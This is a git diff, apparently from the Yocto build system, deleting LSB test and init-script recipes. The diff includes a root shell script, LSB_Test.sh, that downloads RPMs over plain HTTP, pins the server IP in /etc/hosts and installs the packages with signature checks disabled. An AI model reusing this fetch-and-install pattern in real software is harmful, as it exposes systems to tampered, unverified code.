--- a/meta/recipes-extended/lsb/lsbinitscripts/functions.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From 57468c5f4e364bdad556604dca09046e1afca929 Mon Sep 17 00:00:00 2001
-From: Fan Xin <fan.xin@jp.fujitsu.com>
-Date: Mon, 5 Jun 2017 16:26:47 +0900
-Subject: [PATCH] Upstream-Status: Inappropriate [configuration]
-
-Signed-off-by: Xiaofeng Yan <xiaofeng.yan@windriver.com>
-Signed-off-by: Saul Wold <sgw@linux.intel.com>
-
-Rebase on 9.72
-
-Signed-off-by: Fan Xin <fan.xin@jp.fujitsu.com>
-Upstream-Status: Pending
----
- initscripts-9.72/rc.d/init.d/functions | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/initscripts-9.72/rc.d/init.d/functions b/initscripts-9.72/rc.d/init.d/functions
-index 0f627f1..a6aa092 100644
---- a/initscripts-9.72/rc.d/init.d/functions
-+++ b/initscripts-9.72/rc.d/init.d/functions
-@@ -59,7 +59,7 @@ systemctl_redirect () {
- [ -z "${COLUMNS:-}" ] && COLUMNS=80
-
- if [ -z "${CONSOLETYPE:-}" ]; then
-- if [ -c "/dev/stderr" -a -r "/dev/stderr" ]; then
-+ if [ -c "/dev/stderr" -a -r "/dev/stderr" -a -e /sbin/consoletype ]; then
- CONSOLETYPE="$(/sbin/consoletype < /dev/stderr 2>/dev/null)"
- else
- CONSOLETYPE="serial"
---
-1.9.1
-
diff --git a/meta/recipes-extended/lsb/lsbinitscripts_9.72.bb b/meta/recipes-extended/lsb/lsbinitscripts_9.72.bb
deleted file mode 100644
index 2d74a6f9d3..0000000000
--- a/meta/recipes-extended/lsb/lsbinitscripts_9.72.bb
+++ /dev/null
@@ -1,30 +0,0 @@
-SUMMARY = "SysV init scripts which are only used in an LSB image"
-HOMEPAGE = "https://wiki.debian.org/LSBInitScripts"
-SECTION = "base"
-LICENSE = "GPLv2"
-DEPENDS = "popt glib-2.0"
-
-RPROVIDES_${PN} += "initd-functions"
-RDEPENDS_${PN} += "util-linux"
-RCONFLICTS_${PN} = "initscripts-functions"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=ebf4e8b49780ab187d51bd26aaa022c6"
-
-S="${WORKDIR}/initscripts-${PV}"
-SRC_URI = "http://pkgs.fedoraproject.org/repo/pkgs/initscripts/initscripts-${PV}.tar.gz/sha512/b6ed38f9576e9227c2ecf047e2d60e1e872f40d51d13861b0c91dddb282f10f7e6b79706a4d1435d7a57a14a0b73a1b71541cfe44c00e8e03ef96b08de19ec32/initscripts-${PV}.tar.gz \
- file://functions.patch;striplevel=2 \
- file://0001-functions-avoid-exit-1-which-causes-init-scripts-to-.patch \
- "
-
-SRC_URI[md5sum] = "d6c798f40dceb117e12126d94cb25a9a"
-SRC_URI[sha256sum] = "1793677bdd1f7ee4cb00878ce43346196374f848a4c8e4559e086040fc7487db"
-
-# Since we are only taking the patched version of functions, no need to
-# configure or compile anything so do not execute these
-do_configure[noexec] = "1"
-do_compile[noexec] = "1"
-
-do_install(){
- install -d ${D}${sysconfdir}/init.d/
- install -m 0644 ${S}/rc.d/init.d/functions ${D}${sysconfdir}/init.d/functions
-}
diff --git a/meta/recipes-extended/lsb/lsbtest/LSB_Test.sh b/meta/recipes-extended/lsb/lsbtest/LSB_Test.sh
deleted file mode 100644
index 0eb2793b10..0000000000
--- a/meta/recipes-extended/lsb/lsbtest/LSB_Test.sh
+++ /dev/null
@@ -1,525 +0,0 @@
-#!/bin/sh
-
-# Copyright (C) 2012 Wind River Systems, Inc.
-#
-# This program is free software; you can redistribute it and/or modify
-# it under the terms of the GNU General Public License version 2 as
-# published by the Free Software Foundation.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
-# See the GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
-
-
-WORK_DIR="/opt/lsb-test"
-
-if [ `id -u` -ne 0 ]
-then
- cat << EOF
- In order to install and run LSB testsuite, you need administrator privileges.
- You are currently running this script as an unprivileged user.
-
-EOF
- exit 1
-fi
-
-ARCH=`uname -m`
-if [ ${ARCH} != "i686" ] && [ ${ARCH} != "x86_64" ] && [ ${ARCH} != "ppc" ] && [ ${ARCH} != "ppc64" ]
-then
- echo "Error: Unsupported architecture"
- exit 1
-fi
-
-which rpm
-if [ $? -ne 0 ]
-then
- echo "No rpm command found"
- exit 1
-fi
-
-RET=0
-
-cd ${WORK_DIR} || exit 1
-# Step 1: Download the LSB Packages
-echo ""
-echo "Download LSB packages..."
-echo ""
-
-if [ ! -e ./packages_list ]
-then
- echo "Error: Could not find packages list" >&2
- exit 1
-fi
-
-. ./packages_list
-
-PACKAGES_DIR="/var/opt/lsb/test/manager/packages/ftp.linuxfoundation.org/pub/lsb"
-
-BASE_PACKAGES_DIR="${PACKAGES_DIR}/base/${LSB_RELEASE}/binary"
-RUNTIME_BASE_PACKAGES_DIR="${PACKAGES_DIR}/test_suites/released-all/binary/runtime"
-RUNTIME_PACKAGES_DIR="${PACKAGES_DIR}/test_suites/${LSB_RELEASE}/binary/runtime"
-APP_PACKAGES_DIR="${PACKAGES_DIR}/app-battery/${LSB_RELEASE}/${LSB_ARCH}"
-APP_TESTFILES_DIR="${PACKAGES_DIR}/app-battery/tests"
-SNAPSHOTS_TESTFILES_DIR="${PACKAGES_DIR}/snapshots/appbat/tests"
-
-if [ ! -d ${PACKAGES_DIR} ]
-then
- mkdir -p ${PACKAGES_DIR}
-fi
-
-if [ ! -d ${BASE_PACKAGES_DIR} ]
-then
- mkdir -p ${BASE_PACKAGES_DIR}
-fi
-
-if [ ! -d ${RUNTIME_BASE_PACKAGES_DIR} ]
-then
- mkdir -p ${RUNTIME_BASE_PACKAGES_DIR}
-fi
-
-if [ ! -d ${RUNTIME_PACKAGES_DIR} ]
-then
- mkdir -p ${RUNTIME_PACKAGES_DIR}
-fi
-
-if [ ! -d ${APP_PACKAGES_DIR} ]
-then
- mkdir -p ${APP_PACKAGES_DIR}
-fi
-
-if [ ! -d ${APP_TESTFILES_DIR} ]
-then
- mkdir -p ${APP_TESTFILES_DIR}
-fi
-
-# Official download server list. You can replace them with your own server.
-SERVER_IPADDR="140.211.169.23"
-SERVER_NAME="ftp.linuxfoundation.org"
-
-if ! `grep -F -q "${SERVER_NAME}" /etc/hosts`; then
- echo "${SERVER_IPADDR} ${SERVER_NAME} ${SERVER_NAME}" >> /etc/hosts
-fi
-
-#ping -c 5 ${SERVER_NAME}
-#if [ $? -ne 0 ]
-#then
-# echo "The server: ${SERVER_NAME} is unreachable"
-# exit 1
-#fi
-
-SERVER1="\
- http://${SERVER_NAME}/pub/lsb/base/released-all/binary"
-SERVER2="\
- http://${SERVER_NAME}/pub/lsb/test_suites/released-all/binary/runtime"
-SERVER3="\
- http://${SERVER_NAME}/pub/lsb/test_suites/${LSB_RELEASE}/binary/runtime"
-SERVER4="\
- http://${SERVER_NAME}/pub/lsb/app-battery/${LSB_RELEASE}/${LSB_ARCH}"
-SERVER5="\
- http://${SERVER_NAME}/pub/lsb/app-battery/tests"
-
-# We using "curl" as a download tool, "wget" is an alternative.
-CURL=`which curl`
-WGET=`which wget`
-if [ ! -z ${CURL} ]
-then
- DOWNLOAD_CMD="${CURL} -R -L -f --retry 3 --retry-delay 4 --connect-timeout 180 --compressed -C - -o"
-elif [ ! -z ${WGET} ]
-then
- DOWNLOAD_CMD="${WGET} -c -t 5 -O"
-else
- echo "Can not find a download tool, please install curl or wget."
- exit 1
-fi
-
-cd ${BASE_PACKAGES_DIR}
-for pkg in ${BASE_PACKAGES_LIST}; do
- if [ ! -f ${pkg} ]
- then
- #${DOWNLOAD_CMD} ${pkg}".#part" ${SERVER1}/${pkg} > /dev/null 2>&1
- ${DOWNLOAD_CMD} ${pkg}".#part" ${SERVER1}/${pkg}
- if [ $? -eq 0 ]
- then
- mv -f ${pkg}".#part" ${pkg}
- echo "Download ${pkg} successfully."
- else
- echo "Download ${pkg} failed."
- RET=1
- fi
- fi
-done
-
-cd ${RUNTIME_BASE_PACKAGES_DIR}
-for pkg in ${RUNTIME_BASE_PACKAGES_LIST}; do
- if [ ! -f ${pkg} ]
- then
- #${DOWNLOAD_CMD} ${pkg}".#part" ${SERVER2}/${pkg} > /dev/null 2>&1
- ${DOWNLOAD_CMD} ${pkg}".#part" ${SERVER2}/${pkg}
- if [ $? -eq 0 ]
- then
- mv -f ${pkg}".#part" ${pkg}
- echo "Download ${pkg} successfully."
- else
- echo "Download ${pkg} failed."
- RET=1
- fi
- fi
-done
-
-cd ${RUNTIME_PACKAGES_DIR}
-for pkg in ${RUNTIME_PACKAGES_LIST}; do
- if [ ! -f ${pkg} ]
- then
- #${DOWNLOAD_CMD} ${pkg}".#part" ${SERVER3}/${pkg} > /dev/null 2>&1
- ${DOWNLOAD_CMD} ${pkg}".#part" ${SERVER3}/${pkg}
- if [ $? -eq 0 ]
- then
- mv -f ${pkg}".#part" ${pkg}
- echo "Download ${pkg} successfully."
- else
- echo "Download ${pkg} failed."
- RET=1
- fi
- fi
-done
-
-cd ${APP_PACKAGES_DIR}
-for pkg in ${APP_PACKAGES_LIST}; do
- if [ ! -f ${pkg} ]
- then
- #${DOWNLOAD_CMD} ${pkg}".#part" ${SERVER4}/${pkg} > /dev/null 2>&1
- ${DOWNLOAD_CMD} ${pkg}".#part" ${SERVER4}/${pkg}
- if [ $? -eq 0 ]
- then
- mv -f ${pkg}".#part" ${pkg}
- echo "Download ${pkg} successfully."
- else
- echo "Download ${pkg} failed."
- RET=1
- fi
- fi
-done
-
-cd ${APP_TESTFILES_DIR}
-for pkg in ${APP_TESTFILES_LIST}; do
- if [ ! -f ${pkg} ]
- then
- #${DOWNLOAD_CMD} ${pkg}".#part" ${SERVER5}/${pkg} > /dev/null 2>&1
- ${DOWNLOAD_CMD} ${pkg}".#part" ${SERVER5}/${pkg}
- if [ $? -eq 0 ]
- then
- mv -f ${pkg}".#part" ${pkg}
- echo "Download ${pkg} successfully."
- else
- echo "Download ${pkg} failed."
- RET=1
- fi
- fi
-done
-
-if [ ${RET} -ne 0 ]
-then
- echo "Download some packages failed. Please download them again."
- exit 1
-fi
-
-# Step 2: Install the LSB Packages
-echo ""
-echo "Install LSB packages..."
-echo ""
-
-# Kill lighttpd
-ps aux | grep "lighttpd" | grep -v -q "grep"
-if [ $? -eq 0 ]
-then
- killall lighttpd >/dev/null 2>&1
-fi
-
-# Start avahi-daemon
-ps aux | grep "avahi-daemon" | grep -v -q "grep"
-if [ $? -ne 0 ]
-then
- /etc/init.d/avahi-daemon start >/dev/null 2>&1
-fi
-
-LSB_START_CMD="/opt/lsb/test/manager/bin/dist-checker-start.pl"
-LSB_STOP_CMD="/opt/lsb/test/manager/bin/dist-checker-stop.pl"
-
-PLATFORM_FILE="/etc/rpm/platform"
-
-RPM_INSTALL_CMD="rpm --quiet --nodeps --replacepkgs --nosignature -i --ignoreos"
-RPM_INSTALL_CMD_NOSCRIPTS="rpm --quiet --nodeps --replacepkgs --noscripts --nosignature -i --ignoreos"
-
-# If the lsb has been started, stop it first.
-if [ -x ${LSB_STOP_CMD} ]
-then
- ${LSB_STOP_CMD}
-fi
-
-if [ ! -d /etc/rpm ]
-then
- mkdir -p /etc/rpm
-fi
-
-if [ ! -f ${PLATFORM_FILE} ]
-then
- touch ${PLATFORM_FILE}
-fi
-
-if ! `grep -F -q "noarch-suse" ${PLATFORM_FILE}`; then
- if [ ${ARCH} = i686 ];then
- echo "i486-suse" >> ${PLATFORM_FILE}
- echo "i486-noarch" >> ${PLATFORM_FILE}
- echo "i486-pc" >> ${PLATFORM_FILE}
- echo "noarch-suse" >> ${PLATFORM_FILE}
- elif [ ${ARCH} = x86_64 ]; then
- echo "i486-suse" >> ${PLATFORM_FILE}
- echo "i486-noarch" >> ${PLATFORM_FILE}
- echo "i486-pc" >> ${PLATFORM_FILE}
- echo "i486-.*-linux.*" >> ${PLATFORM_FILE}
- echo "noarch-suse" >> ${PLATFORM_FILE}
- echo "${ARCH}-suse" >> ${PLATFORM_FILE}
- echo "${ARCH}-noarch" >> ${PLATFORM_FILE}
- echo "${ARCH}-pc" >> ${PLATFORM_FILE}
- else
- echo "${ARCH}-suse" >> ${PLATFORM_FILE}
- echo "${ARCH}-noarch" >> ${PLATFORM_FILE}
- echo "${ARCH}-pc" >> ${PLATFORM_FILE}
- echo "noarch-suse" >> ${PLATFORM_FILE}
- fi
-fi
-
-if [ -d ${BASE_PACKAGES_DIR} ]
-then
- cd ${BASE_PACKAGES_DIR}
- for pkg in ${BASE_PACKAGES_LIST}
- do
- rpm --quiet -q ${pkg%\.*}
- if [ $? -ne 0 ]; then
- $RPM_INSTALL_CMD ${pkg}
- fi
- done
-fi
-
-if [ -d ${RUNTIME_BASE_PACKAGES_DIR} ]
-then
- cd ${RUNTIME_BASE_PACKAGES_DIR}
- for pkg in ${RUNTIME_BASE_PACKAGES_LIST}
- do
- rpm --quiet -q ${pkg%\.*}
- if [ $? -ne 0 ]; then
- $RPM_INSTALL_CMD ${pkg}
- fi
- done
-fi
-
-if [ -d ${RUNTIME_PACKAGES_DIR} ]
-then
- cd ${RUNTIME_PACKAGES_DIR}
- for pkg in ${RUNTIME_PACKAGES_LIST}
- do
- rpm --quiet -q ${pkg%\.*}
- if [ $? -ne 0 ]; then
- $RPM_INSTALL_CMD ${pkg}
- fi
- done
-fi
-
-if [ -d ${APP_PACKAGES_DIR} ]
-then
- cd ${APP_PACKAGES_DIR}
- for pkg in ${APP_PACKAGES_LIST}
- do
- echo "${pkg}" | grep -q "apache\|xpdf"
- if [ $? -eq 0 ]
- then
- rpm --quiet -q ${pkg%\.*}
- if [ $? -ne 0 ]; then
- $RPM_INSTALL_CMD_NOSCRIPTS ${pkg}
- fi
- else
- rpm --quiet -q ${pkg%\.*}
- if [ $? -ne 0 ]; then
- $RPM_INSTALL_CMD ${pkg}
- fi
- fi
- done
-fi
-
-if [ ! -d ${SNAPSHOTS_TESTFILES_DIR} ]
-then
- mkdir -p ${SNAPSHOTS_TESTFILES_DIR}
-fi
-
-if [ -d ${APP_TESTFILES_DIR} ]
-then
- cd ${APP_TESTFILES_DIR}
- for pkg in ${APP_TESTFILES_LIST}
- do
- cp -f ${pkg} ${SNAPSHOTS_TESTFILES_DIR}
- done
-fi
-
-cd ${WORK_DIR}
-
-# Step 3: Set environment
-echo ""
-echo "Set environment..."
-echo ""
-
-check ()
-{
- if [ $? -eq 0 ]
- then
- echo "PASS"
- else
- echo "FAIL"
- exit 1
- fi
-}
-
-echo ""
-echo "---------------------------------"
-echo "Create the Dirnames on target"
-
-if [ ! -d /etc/rpm/sysinfo ]
-then
- mkdir -p /etc/rpm/sysinfo
-fi
-
-cat > /etc/rpm/sysinfo/Dirnames << EOF
-/etc/opt/lsb
-/home/tet/LSB.tools
-/opt/lsb-tet3-lite/lib/ksh
-/opt/lsb-tet3-lite/lib/perl
-/opt/lsb-tet3-lite/lib/posix_sh
-/opt/lsb-tet3-lite/lib/tet3
-/opt/lsb-tet3-lite/lib/xpg3sh
-/opt/lsb/appbat/lib/python2.4/site-packages/qm
-/opt/lsb/appbat/lib/python2.4/site-packages/qm/external
-/opt/lsb/appbat/lib/python2.4/site-packages/qm/external/DocumentTemplate
-/opt/lsb/appbat/lib/python2.4/site-packages/qm/test
-/opt/lsb/appbat/lib/python2.4/site-packages/qm/test/classes
-/opt/lsb/appbat/lib/python2.4/site-packages/qm/test/web
-/opt/lsb/test/doc
-/opt/lsb/test/lib
-/opt/lsb/test/qm/diagnostics
-/opt/lsb/test/qm/doc
-/opt/lsb/test/qm/doc/test/html
-/opt/lsb/test/qm/doc/test/print
-/opt/lsb/test/qm/dtml
-/opt/lsb/test/qm/dtml/test
-/opt/lsb/test/qm/messages/test
-/opt/lsb/test/qm/tutorial/test/tdb
-/opt/lsb/test/qm/tutorial/test/tdb/QMTest
-/opt/lsb/test/qm/web
-/opt/lsb/test/qm/web/images
-/opt/lsb/test/qm/web/stylesheets
-/opt/lsb/test/qm/xml
-/opt/lsb/test/share
-/usr/share/doc/lsb-runtime-test
-/var/opt/lsb
-/opt/lsb/test/desktop
-/opt/lsb/test/desktop/fontconfig
-/opt/lsb/test/desktop/freetype
-/opt/lsb/test/desktop/gtkvts
-/opt/lsb/test/desktop/libpng
-/opt/lsb/test/desktop/xft
-/opt/lsb/test/desktop/xml
-/opt/lsb/test/desktop/xrender
-
-
-EOF
-
-if [ -f /etc/rpm/sysinfo/Dirnames ]
-then
- echo "Success to creat Dirnames file"
-else
- echo "Fail to creat Dirnames file"
-fi
-
-[ -x /sbin/ldconfig ] && {
-echo ""
-echo "---------------------------------"
-echo "Update cache"
-/sbin/ldconfig
-check;
-}
-
-# Check loop device
-if [ ! -b /dev/loop0 ]
-then
- insmod /lib/modules/`uname -r`/kernel/drivers/block/loop.ko
- if [ $? != 0 ];then
- echo "Insmod loop.ko failed."
- fi
-fi
-
-# Resolve localhost
-LOCALHOST=`hostname`
-if ! `grep -F -q "$LOCALHOST" /etc/hosts`; then
- echo "127.0.0.1 $LOCALHOST" >> /etc/hosts
-fi
-
-# Workaround to add part of locales for LSB test
-localedef -i de_DE -f ISO-8859-1 de_DE
-localedef -i de_DE -f ISO-8859-15 de_DE.ISO-8859-15
-localedef -i de_DE -f UTF-8 de_DE.UTF-8
-localedef -i de_DE@euro -f ISO-8859-15 de_DE@euro
-localedef -i en_HK -f ISO-8859-1 en_HK
-localedef -i en_PH -f ISO-8859-1 en_PH
-localedef -i en_US -f ISO-8859-15 en_US.ISO-8859-15
-localedef -i en_US -f ISO-8859-1 en_US.ISO-8859-1
-localedef -i en_US -f ISO-8859-1 en_US
-localedef -i en_US -f UTF-8 en_US.UTF-8
-localedef -i en_US -f ISO-8859-1 en_US.ISO8859-1
-localedef -i es_MX -f ISO-8859-1 es_MX
-localedef -i fr_FR -f ISO-8859-1 fr_FR
-localedef -i it_IT -f ISO-8859-1 it_IT
-localedef -i ja_JP -f EUC-JP ja_JP.eucjp
-localedef -i se_NO -f UTF-8 se_NO.UTF-8
-localedef -i ta_IN -f UTF-8 ta_IN
-localedef -i es_ES -f ISO-8859-1 es_ES
-localedef -i fr_FR@euro -f ISO-8859-1 fr_FR@euro
-localedef -i is_IS -f UTF-8 is_IS.UTF-8
-localedef -i zh_TW -f BIG5 zh_TW.BIG5
-localedef -i en_US -f ISO-8859-15 en_US.ISO-8859-15
-
-echo ""
-echo "Installation done!"
-echo ""
-
-# Step 4: Start LSB test
-if [ -x ${LSB_START_CMD} ]
-then
- ${LSB_START_CMD}
-fi
-
-echo "---------------------------------"
-echo "Run all the certification version of LSB Tests"
-echo "---------------------------------"
-
-LSB_DIST_CHECKER="/opt/lsb/test/manager/utils/dist-checker.pl"
-SESSION="${WORK_DIR}/session"
-if [ ! -e ${SESSION} ]
-then
- echo "Error: Could not find session file."
- echo "You must run LSB test from webbrower."
- exit 1
-fi
-
-if [ -x ${LSB_DIST_CHECKER} ]
-then
- ${LSB_DIST_CHECKER} -v2 -f ${SESSION}
- check
-fi
-
-echo ""
-echo "LSB test complete. Please check the log file in /var/opt/lsb/test/manager/results/"
-echo ""
-
diff --git a/meta/recipes-extended/lsb/lsbtest/packages_list b/meta/recipes-extended/lsb/lsbtest/packages_list
deleted file mode 100644
index 1a6c11699a..0000000000
--- a/meta/recipes-extended/lsb/lsbtest/packages_list
+++ /dev/null
@@ -1,49 +0,0 @@
-LSB_RELEASE="released-5.0"
-LSB_ARCH="lsbarch"
-
-BASE_PACKAGES_LIST="lsb-setup-5.0.0-2.noarch.rpm"
-
-RUNTIME_BASE_PACKAGES_LIST="lsb-dist-checker-5.0.0.1-1.targetarch.rpm \
- lsb-tet3-lite-3.7-27.lsb5.targetarch.rpm \
- lsb-tet3-lite-devel-3.7-27.lsb5.targetarch.rpm \
- lsb-xvfb-1.2.0-22.targetarch.rpm \
- "
-
-RUNTIME_PACKAGES_LIST="lsb-cmdchk-5.0.3-1.targetarch.rpm \
- lsb-libchk-5.0.3-1.targetarch.rpm \
- lsb-qm-2.2-1.lsb5.targetarch.rpm \
- lsb-task-dist-testkit-5.0.0-2.noarch.rpm \
- lsb-test-core-5.0.1-1.targetarch.rpm \
- lsb-test-cpp-t2c-5.0.0-1.targetarch.rpm \
- lsb-test-desktop-5.0.0-1.targetarch.rpm \
- lsb-test-desktop-t2c-5.0.0-1.targetarch.rpm \
- lsb-test-libstdcpp-4.1.0-22.lsb1.targetarch.rpm \
- lsb-test-olver-core-5.0.0-1.targetarch.rpm \
- lsb-test-perl-5.0.2-1.noarch.rpm \
- lsb-test-printing-5.0.1-1.targetarch.rpm \
- lsb-test-python-5.0.0-1.targetarch.rpm \
- lsb-test-qt4-azov-5.0.0-1.targetarch.rpm \
- lsb-test-xts5-5.1.5-47.lsb5.targetarch.rpm \
- lsb-test-alsa-t2c-5.1.91-4.targetarch.rpm \
- lsb-test-core-t2c-5.0.1-1.targetarch.rpm \
- lsb-test-xml2-azov-5.0.0-1.targetarch.rpm \
- "
-
-APP_PACKAGES_LIST="lsb-python-2.4.6-10.lsb5.targetarch.rpm \
- lsb-apache-2.2.19-5.lsb5.targetarch.rpm \
- lsb-tcl-8.5.9-21.lsb5.targetarch.rpm \
- lsb-expect-5.43.0-21.lsb5.targetarch.rpm \
- lsb-groff-1.20.1-9.lsb5.targetarch.rpm \
- lsb-raptor-1.4.21-4.lsb5.targetarch.rpm \
- lsb-xpdf-1.01-17.lsb5.targetarch.rpm \
- lsb-samba-3.5.9-5.lsb5.targetarch.rpm \
- lsb-rsync-3.0.8-3.lsb5.targetarch.rpm \
- "
-
-APP_TESTFILES_LIST="expect-tests.tar \
- tcl-tests.tar \
- raptor-tests.tar \
- test1.pdf \
- test2.pdf \
- "
-
diff --git a/meta/recipes-extended/lsb/lsbtest/session b/meta/recipes-extended/lsb/lsbtest/session
deleted file mode 100644
index 3abcca740b..0000000000
--- a/meta/recipes-extended/lsb/lsbtest/session
+++ /dev/null
@@ -1,185 +0,0 @@
-[GENERAL]
-VERBOSE_LEVEL: 1
-ARCHITECTURE: targetarch
-USE_INTERNET: 1
-STD_VERSION: LSB 4.1
-STD_PROFILE: no
-[cmdchk]
-RUN: 1
-VERSION: local|*
-
-[libchk]
-RUN: 1
-VERSION: local|*
-
-[alsa-t2c]
-RUN: 1
-VERSION: local|*
-
-[alsa-t2c|local|*]
-AUTOREPLY_TESTSUITE_DIR: /opt/lsb/test/alsa-t2c
-AUTOREPLY_RESULTS_DIR: /opt/lsb/test/alsa-t2c/results
-
-[core]
-RUN: 1
-VERSION: local|*
-
-[core|local|*]
-AUTOREPLY_PROVIDES_BASH: n
-AUTOREPLY_TESTRUN_PATH: /home/tet/test_sets
-AUTOREPLY_PERSON: Automated
-AUTOREPLY_KERNEL_NAME: vmlinuz
-AUTOREPLY_INSTALL_LSBPAM_CONF: y
-AUTOREPLY_PROVIDES_C_SHELL: n
-AUTOREPLY_ORGANISATION: N/A
-AUTOREPLY_SET_PASS_MIN_DAYS: y
-AUTOREPLY_PROVIDES_SYSV_INIT:
-AUTOREPLY_ISNTALL_DEVS: y
-AUTOREPLY_SUPPORTS_FILE_CMD: y
-AUTOREPLY_TEST_SYSTEM: Distribution Checker
-AUTOREPLY_TESTSUITE_DIR: /opt/lsb/test/core/tet/test_sets
-AUTOREPLY_SUPPORTS_NLS: n
-AUTOREPLY_SUPPORTS_PROCESS_ACCOUNTING: n
-AUTOREPLY_PATH_TO_RC.D:
-AUTOREPLY_ALLOWS_MAKEDEV: n
-AUTOREPLY_RESULTS_DIR: /opt/lsb/test/core/tet/test_sets/results
-
-[core-t2c]
-RUN: 1
-VERSION: local|*
-
-[core-t2c|local|*]
-AUTOREPLY_TESTSUITE_DIR: /opt/lsb/test/core-t2c
-AUTOREPLY_RESULTS_DIR: /opt/lsb/test/core-t2c/results
-
-[cpp-t2c]
-RUN: 1
-VERSION: local|*
-
-[cpp-t2c|local|*]
-AUTOREPLY_TESTSUITE_DIR: /opt/lsb/test/cpp-t2c
-AUTOREPLY_RESULTS_DIR: /opt/lsb/test/cpp-t2c/results
-
-[desktop]
-RUN: 1
-VERSION: local|*
-
-[desktop|local|*]
-AUTOREPLY_DESKTOP_ENVIRONMENT: [default]
-AUTOREPLY_PERSON: Automated
-AUTOREPLY_X_CLIENT_HOSTNAME:
-AUTOREPLY_TEST_SYSTEM: Distribution Checker
-AUTOREPLY_TESTSUITE_DIR: /opt/lsb/test/desktop
-AUTOREPLY_X11_FONT_PATH: [default]
-AUTOREPLY_SHOW_SUMMARY_REPORT:
-AUTOREPLY_ORGANISATION: N/A
-AUTOREPLY_XVFB_DISPLAY: [default]
-
-[desktop-t2c]
-RUN: 1
-VERSION: local|*
-
-[desktop-t2c|local|*]
-AUTOREPLY_TESTSUITE_DIR: /opt/lsb/test/desktop-t2c
-AUTOREPLY_RESULTS_DIR: /opt/lsb/test/desktop-t2c/results
-
-[libstdcpp]
-RUN: 1
-VERSION: local|*
-
-[libstdcpp|local|*]
-AUTOREPLY_TEST_SYSTEM: Distribution Checker
-AUTOREPLY_PERSON: Automated
-AUTOREPLY_TESTSUITE_DIR: /opt/lsb/test/libstdcpp_4.1.0
-AUTOREPLY_ORGANISATION: N/A
-AUTOREPLY_GNU_TRIPLET:
-
-[olver]
-RUN: 1
-VERSION: local|*
-
-[olver|local|*]
-AUTOREPLY_TESTSUITE_DIR: /opt/lsb/test/olver-core
-AUTOREPLY_RESULTS_DIR: /var/opt/lsb/test/olver-core
-
-[perl]
-RUN: 1
-VERSION: local|*
-
-[perl|local|*]
-AUTOREPLY_TESTSUITE_DIR: /opt/lsb/test/perl
-AUTOREPLY_RESULTS_DIR: /opt/lsb/test/perl/results
-
-[printing]
-RUN: 1
-VERSION: local|*
-
-[printing|local|*]
-AUTOREPLY_TESTSUITE_DIR: /opt/lsb/test/printing
-AUTOREPLY_RESULTS_DIR: /opt/lsb/test/printing/results
-
-[python]
-RUN: 1
-VERSION: local|*
-
-[python|local|*]
-AUTOREPLY_TESTSUITE_DIR: /opt/lsb/test/python
-AUTOREPLY_RESULTS_DIR: /opt/lsb/test/python/results
-
-[qt4-azov]
-RUN: 1
-VERSION: local|*
-
-[qt4-azov|local|*]
-AUTOREPLY_TESTSUITE_DIR: /opt/lsb/test/qt4-azov
-AUTOREPLY_X11_FONT_PATH: [default]
-AUTOREPLY_RESULTS_DIR: /opt/lsb/test/qt4-azov/results
-
-[xml2-azov]
-RUN: 1
-VERSION: local|*
-
-[xts5]
-RUN: 1
-VERSION: local|*
-
-[xts5|local|*]
-AUTOREPLY_XT_FONTPATH_GOOD: [default]
-AUTOREPLY_TESTSUITE_DIR: /opt/lsb/test/xts5
-AUTOREPLY_XVFB_DISPLAY: [default]
-AUTOREPLY_RESULTS_DIR: /opt/lsb/test/xts5/xts5/results
-AUTOREPLY_XT_FONTPATH: [default]
-AUTOREPLY_X_CLIENT_HOSTNAME:
-
-[apache]
-RUN: 1
-VERSION: local|*
-
-[expect]
-RUN: 1
-VERSION: local|*
-
-[groff]
-RUN: 1
-VERSION: local|*
-
-[raptor]
-RUN: 1
-VERSION: local|*
-
-[rsync]
-RUN: 1
-VERSION: local|*
-
-[samba]
-RUN: 1
-VERSION: local|*
-
-[tcl]
-RUN: 1
-VERSION: local|*
-
-[xpdf]
-RUN: 1
-VERSION: local|*
-
diff --git a/meta/recipes-extended/lsb/lsbtest_1.0.bb b/meta/recipes-extended/lsb/lsbtest_1.0.bb
deleted file mode 100644
index 36f52fd73a..0000000000
--- a/meta/recipes-extended/lsb/lsbtest_1.0.bb
+++ /dev/null
@@ -1,50 +0,0 @@
-SUMMARY = "Automates Linux Standard Base (LSB) tests"
-HOMEPAGE = "https://wiki.debian.org/LSBInitScripts"
-SECTION = "console/utils"
-LICENSE = "GPLv2"
-PR = "r3"
-
-LIC_FILES_CHKSUM = "file://LSB_Test.sh;beginline=3;endline=16;md5=7063bb54b04719df0716b513447f4fc0"
-
-SRC_URI = "file://LSB_Test.sh \
- file://packages_list \
- file://session \
- "
-RDEPENDS_${PN} = "rpm"
-
-S = "${WORKDIR}"
-
-do_install() {
- install -d ${D}${bindir}
- install -m 0755 ${S}/LSB_Test.sh ${D}${bindir}
- install -d ${D}/opt/lsb-test
- install -m 0644 ${S}/packages_list ${D}/opt/lsb-test/packages_list
- install -m 0644 ${S}/session ${D}/opt/lsb-test/session
- if [ "${TARGET_ARCH}" = "i586" ] || [ "${TARGET_ARCH}" = "i686" ];then
- sed -i -e 's/lsbarch/ia32/g' -e 's/targetarch/i486/g' ${D}/opt/lsb-test/packages_list
- sed -i -e 's/targetarch/x86/g' ${D}/opt/lsb-test/session
- fi
- if [ "${TARGET_ARCH}" = "x86_64" ];then
- sed -i -e 's/lsbarch/amd64/g' -e 's/targetarch/x86_64/g' ${D}/opt/lsb-test/packages_list
- sed -i -e 's/targetarch/x86-64/g' ${D}/opt/lsb-test/session
- fi
- if [ "${TARGET_ARCH}" = "powerpc" ];then
- sed -i -e 's/lsbarch/ppc32/g' -e 's/targetarch/ppc/g' ${D}/opt/lsb-test/packages_list
- sed -i -e 's/targetarch/PPC32/g' ${D}/opt/lsb-test/session
- fi
-
- # For a ppc64 target. the default userspace is 32b.
- # Therefore, only change the lsbarch and targetarch
- # in the package_list when MLIB=lib64 is being used.
- # Otherwise, by default, the ppc32 LSB packages
- # will be downloaded by LSB_Test.sh
- if [ "${TARGET_ARCH}" = "powerpc64" ];then
- if [ "${PN}" != "${BPN}" ];then
